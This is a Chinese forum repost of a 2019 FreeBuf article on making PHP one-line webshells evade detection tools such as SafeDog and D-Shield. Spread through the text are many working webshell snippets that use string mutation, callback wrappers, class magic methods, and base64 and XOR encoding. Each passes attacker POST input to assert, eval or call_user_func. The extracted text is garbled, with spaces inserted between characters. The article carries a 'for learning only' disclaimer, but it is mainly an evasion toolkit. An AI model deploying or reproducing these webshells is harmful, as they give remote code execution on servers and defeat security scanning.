搜索

[13787] 2019-02-22_揭秘一句话木马的套路

文档创建者：s7ckTeam
浏览次数：1
最后更新：2025-01-18
2019-02-22_揭秘一句话木马的套路 揭 秘 一 句 话 木 马 的 套 路 4 0 4 S E C   F r e e B u f   2 0 1 9 - 0 2 - 2 2 * 本 文 仅 用 于 学 习 和 技 术 讨 论 ， 切 勿 用 于 非 法 用 途 。 本 文 仅 用 于 学 习 和 技 术 讨 论 ， 切 勿 用 于 非 法 用 途 。 0 x 0 1   前 言 前 言 尽 最 大 努 力 在 一 文 中 让 大 家 掌 握 一 些 有 用 的 尽 最 大 努 力 在 一 文 中 让 大 家 掌 握 一 些 有 用 的 W E B S H E L L 免 杀 技 巧 。 免 杀 技 巧 。 0 x 0 2   关 于 关 于   e v a l   于 于   a s s e r t 关 于   e v a l   函 数 在   p h p   给 出 的 官 方 说 明 是 ： e v a l 是 一 个 语 言 构 造 器 而 不 是 一 个 函 数 ， 不 能 被   可 变 函 数   调 用 可 变 函 数 ： 通 过 一 个 变 量 ， 获 取 其 对 应 的 变 量 值 ， 然 后 通 过 给 该 值 增 加 一 个 括 号   ( ) ， 让 系 统 认 为 该 值 是 一 个 函 数 ， 从 而 当 做 函 数 来 执 行 。 通 俗 的 说 比 如 你   < ? p h p   $ a = e v a l ; $ a ( )   ? >   这 样 是 不 行 的   也 造 就 了 用   e v a l   的 话 达 不 到   a s s e r t   的 灵 活 ， 但 是 在   p h p 7 . 1   以 上 a s s e r t   已 经 不 行 。 关 于   a s s e r t   函 数 a s s e r t ( )   回 调 函 数 在 构 建 自 动 测 试 套 件 的 时 候 尤 其 有 用 ， 因 为 它 们 允 许 你 简 易 地 捕 获 传 入 断 言 的 代 码 ， 并 包 含 断 言 的 位 置 信 息 。 当 信 息 能 够 被 其 他 方 法 捕 获 ， 使 用 断 言 可 以 让 它 更 快 更 方 便 ！ 0 x 0 3   字 符 串 变 形 字 符 串 变 形 字 符 串 变 形 多 数 用 于   B Y P A S S   安 全 狗 ， 相 当 对 于   D   盾 ， 安 全 狗 更 加 重 视 “ 形 ” 。 一 个 特 殊 的 变 形 就 能 绕 过 安 全 狗 ， 看 看   P H P   手 册 ， 有 着 很 多 关 于 操 作 字 符 串 的 函 数 ： 由 于   P H P   的 灵 活 性 操 作 字 符 串 的 函 数 很 多 ， 我 这 里 就 不 一 一 列 举 了 。 用   s u b s t r _ r e p l a c e ( )   函 数 变 形   a s s e r t   达 到 免 杀 的 效 果 ： 其 他 函 数 类 似   不 一 一 列 举 了 。 0 x 0 4   定 义 函 数 绕 过 定 义 函 数 绕 过 u c w o r d s ( )   / / 函 数 把 字 符 串 中 每 个 单 词 的 首 字 符 转 换 为 大 写 。 u c f i r s t ( )   / / 函 数 把 字 符 串 中 的 首 字 符 转 换 为 大 写 。 t r i m ( )   / / 函 数 从 字 符 串 的 两 端 删 除 空 白 字 符 和 其 他 预 定 义 字 符 。 s u b s t r _ r e p l a c e ( )   / / 函 数 把 字 符 串 的 一 部 分 替 换 为 另 一 个 字 符 串 s u b s t r ( )   / / 函 数 返 回 字 符 串 的 一 部 分 。 s t r t r ( )   / / 函 数 转 换 字 符 串 中 特 定 的 字 符 。 s t r t o u p p e r ( )   / / 函 数 把 字 符 串 转 换 为 大 写 。 s t r t o l o w e r ( )   / / 函 数 把 字 符 串 转 换 为 小 写 。 s t r t o k ( )   / / 函 数 把 字 符 串 分 割 为 更 小 的 字 符 串 s t r _ r o t 1 3 ( )   / / 函 数 对 字 符 串 执 行   R O T 1 3   编 码 。 < ? p h p $ a   =   s u b s t r _ r e p l a c e ( " a s s e x x " , " r t " , 4 ) ; $ a ( $ _ P O S T [ ' x ' ] ) ; ? >
定 义 一 个 函 数 把 关 键 词 分 割 达 到   b y p a s s   效 果 ： 反 之 ： 效 果 一 样 ， 这 种 绕 过 方 法 ， 对 安 全 狗 还 是 比 较 有 效 的   在   d   盾 面 前 就 显 得 小 儿 科 了 ， 不 过 后 面 会 讲 到 如 何 用 定 义 函 数 的 方 法 来 绕 过   d   盾 。 0 x 0 5   回 调 函 数 回 调 函 数 回 调 函 数 大 部 分 已 经 被 安 全 软 件 加 入 全 家 桶 套 餐 ， 所 以 找 到 一 个 生 僻 的 不 常 用 的 回 调 函 数 来 执 行 ， 比 如 ： 这 个 函 数 能 过 狗 ， 但 是   D   盾 显 示 是 一 级 。 0 x 0 6   回 调 函 数 变 形 回 调 函 数 变 形 前 面 说 过 众 多 回 调 函 数 已 经 被 加 入 豪 华 套 餐 了 ， 怎 么 绕 过 呢 ， 其 实 也 很 简 单   那 就 是 定 义 个 函 数   或 者 类 来 调 用 。 定 义 一 个 函 数 ： 定 义 一 个 类 ： < ? p h p   f u n c t i o n   k d o g ( $ a ) {         $ a ( $ _ P O S T [ ' x ' ] ) ; } k d o g ( a s s e r t ) ; ? > < ? p h p   f u n c t i o n   k d o g ( $ a ) {         a s s e r t ( $ a ) ; } k d o g ( $ _ P O S T [ x ] ) ; ? > c a l l _ u s e r _ f u n c _ a r r a y ( ) c a l l _ u s e r _ f u n c ( ) a r r a y _ f i l t e r ( )   a r r a y _ w a l k ( )     a r r a y _ m a p ( ) r e g i s t r e g i s t e r _ s h u t d o w n _ f u n c t i o n ( ) r e g i s t e r _ t i c k _ f u n c t i o n ( ) f i l t e r _ v a r ( )   f i l t e r _ v a r _ a r r a y ( )   u a s o r t ( )   u k s o r t ( )   a r r a y _ r e d u c e ( ) a r r a y _ w a l k ( )   a r r a y _ w a l k _ r e c u r s i v e ( ) < ? p h p   f o r w a r d _ s t a t i c _ c a l l _ a r r a y ( a s s e r t , a r r a y ( $ _ P O S T [ x ] ) ) ; ? > < ? p h p f u n c t i o n   t e s t ( $ a , $ b ) {         a r r a y _ m a p ( $ a , $ b ) ; } t e s t ( a s s e r t , a r r a y ( $ _ P O S T [ ' x ' ] ) ) ; ? >
0 x 0 7   特 殊 字 符 干 扰 特 殊 字 符 干 扰 特 殊 字 符 干 扰 ， 要 求 是 能 干 扰 到 杀 软 的 正 则 判 断 ， 还 要 代 码 能 执 行 ,   网 上 广 为 流 传 的 连 接 符 。 初 代 版 本 ： 不 过 已 经 不 能 免 杀 了 ， 利 用 适 当 的 变 形 即 可 免 杀 ， 如 ： 其 他 方 法 大 家 尽 情 发 挥 如 ” r n t ” ,   函 数 返 回 ， 类 ， 等 等 。 除 了 连 接 符 号   还 有 个 命 名 空 间 的 东 西     具 体 大 家 可 以 看 看   p h p   手 册 ： 当 然 还 有 其 他 的 符 号 熟 读   P H P   手 册 就 会 有 不 一 样 的 发 现 。 0 x 0 8   数 组 数 组 把 执 行 代 码 放 入 数 组 中 执 行 绕 过 ： 多 维 数 组 ： 0 x 0 9   类 类 说 到 类 肯 定 要 搭 配 上 魔 术 方 法 比 如   d e s t r u c t ( ) ， ， c o n s t r u c t ( ) 。 < ? p h p c l a s s   l o v e m e   {         v a r   $ a ;         v a r   $ b ;         f u n c t i o n   _ _ c o n s t r u c t ( $ a , $ b )   {                 $ t h i s - > a = $ a ;                 $ t h i s - > b = $ b ;         }         f u n c t i o n   t e s t ( )   {               a r r a y _ m a p ( $ t h i s - > a , $ t h i s - > b ) ;         } } $ p 1 = n e w   l o v e m e ( a s s e r t , a r r a y ( $ _ P O S T [ ' x ' ] ) ) ; $ p 1 - > t e s t ( ) ; ? > < ? p h p $ a   =   $ _ R E Q U E S T [ ' a ' ] ; $ b   =   n u l l ; e v a l ( $ b . $ a ) ; ? > < ? p h p $ a   =   $ _ P O S T [ ' a ' ] ; $ b   =   " n " ; e v a l ( $ b . = $ a ) ; ? > < ? p h p f u n c t i o n   d o g ( $ a ) {         a s s e r t ( $ a ) ; } d o g ( $ _ P O S T [ x ] ) ; ? > < ? p h p $ a   =   s u b s t r _ r e p l a c e ( " a s s e x x " , " r t " , 4 ) ; $ b = [ ' ' = > $ a ( $ _ P O S T [ ' q ' ] ) ] ; ? > < ? p h p $ b   =   s u b s t r _ r e p l a c e ( " a s s e x x " , " r t " , 4 ) ; $ a   =   a r r a y ( $ a r r a y N a m e   =   a r r a y ( ' a '   = >   $ b ( $ _ P O S T [ ' q ' ] ) ) ) ; ? >
直 接 上 代 码 ： 用 类 把 函 数 包 裹 , D   盾 对 类 查 杀 较 弱 。 0 x 1 0   编 码 绕 过 编 码 绕 过 用   p h p   的 编 码 函 数 ， 或 者 用 异 或 等 等 。 简 单 的   b a s e 6 4 _ d e c o d e ,   其 中 因 为 他 的 正 则 匹 配 可 以 加 入 一 些 下 划 线 干 扰 杀 软 ： 或 ： 0 x 1 1   无 字 符 特 征 马 无 字 符 特 征 马 对 于 无 特 征 马 这 里 我 的 意 思 是   无 字 符 特 征 。 1 . 利 用 异 或 ,   编 码 等 方 式 ， 例 如   p   神 博 客 的 ： 1 . 利 用 正 则 匹 配 字 符 ， 如   T a b   等 ， 然 后 转 换 为 字 符 。 2 . 利 用   P O S T   包 获 取 关 键 参 数 执 行 ， 例 如 ： 0 x 1 2   P H P 7 . 1   后 后   w e b s h e l l   何 去 何 从 何 去 何 从 在   p h p 7 . 1   后 面 我 们 已 经 不 能 使 用 强 大 的   a s s e r t   函 数 了 用   e v a l   将 更 加 注 重 特 殊 的 调 用 方 法 和 一 些 字 符 干 扰 ,   后 期 大 家 可 能 更 加 倾 向 使 用 大 马 。 总 结 总 结 < ? p h p   c l a s s   m e {     p u b l i c   $ a   =   ' ' ;     f u n c t i o n   _ _ d e s t r u c t ( ) {         a s s e r t ( " $ t h i s - > a " ) ;     } } $ b   =   n e w   m e ; $ b - > a   =   $ _ P O S T [ ' x ' ] ; ? > < ? p h p $ a   =   b a s e 6 4 _ d e c o d e ( " Y X N z + Z X _ _ _ _ J _ _ _ _ 0 " ) ; $ a ( $ _ P O S T [ x ] ) ; ? > < ? p h p $ a =   ( " ! " ^ " @ " ) . ' s s e r t ' ; $ a ( $ _ P O S T [ x ] ) ; ? > < ? p h p $ _ = ( ' % 0 1 ' ^ ' ` ' ) . ( ' % 1 3 ' ^ ' ` ' ) . ( ' % 1 3 ' ^ ' ` ' ) . ( ' % 0 5 ' ^ ' ` ' ) . ( ' % 1 2 ' ^ ' ` ' ) . ( ' % 1 4 ' ^ ' ` ' ) ;   / /   $ _ = ' a s s e r t ' ; $ _ _ = ' _ ' . ( ' % 0 D ' ^ ' ] ' ) . ( ' % 2 F ' ^ ' ` ' ) . ( ' % 0 E ' ^ ' ] ' ) . ( ' % 0 9 ' ^ ' ] ' ) ;   / /   $ _ _ = ' _ P O S T ' ; $ _ _ _ = $ $ _ _ ; $ _ ( $ _ _ _ [ _ ] ) ;   / /   a s s e r t ( $ _ P O S T [ _ ] ) ; < ? p h p $ d e c r p t   =   $ _ P O S T [ ' x ' ] ; $ a r r s   =   e x p l o d e ( " | " ,   $ d e c r p t ) [ 1 ] ; $ a r r s   =   e x p l o d e ( " | " ,   b a s e 6 4 _ d e c o d e ( $ a r r s ) ) ; c a l l _ u s e r _ f u n c ( $ a r r s [ 0 ] , $ a r r s [ 1 ] ) ; ? >
对 于 安 全 狗 杀 形 ， d   盾 杀 参 的 思 路 来 绕 过 。 生 僻 的 回 调 函 数 ,   特 殊 的 加 密 方 式 ,   以 及 关 键 词 的 后 传 入 都 是 不 错 的 选 择 。 对 于 关 键 词 的 后 传 入 对 免 杀 安 全 狗 ， d   盾 ， 河 马 等 等 都 是 不 错 的 ， 后 期 对 于 菜 刀 的 轮 子 ， 也 要 走 向 高 度 的 自 定 义 化 。 用 户 可 以 对 传 出 的   p o s t   数 据 进 行 自 定 义 脚 本 加 密 ， 再 由   w e b s h e l l   进 行 解 密 获 取 参 数 ， 那 么 以 现 在 的 软   W A F   查 杀 能 力 。 几 乎 为   0 ， 安 全 软 件 也 需 要 与 时 俱 进 了 。 如 有 不 对 ， 还 望 大 家 斧 正 。 * 本 文 作 者 ： 本 文 作 者 ： 4 0 4 S E C ， 转 载 请 注 明 来 自 ， 转 载 请 注 明 来 自 F r e e B u f . C O M 阅 读 原 文
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理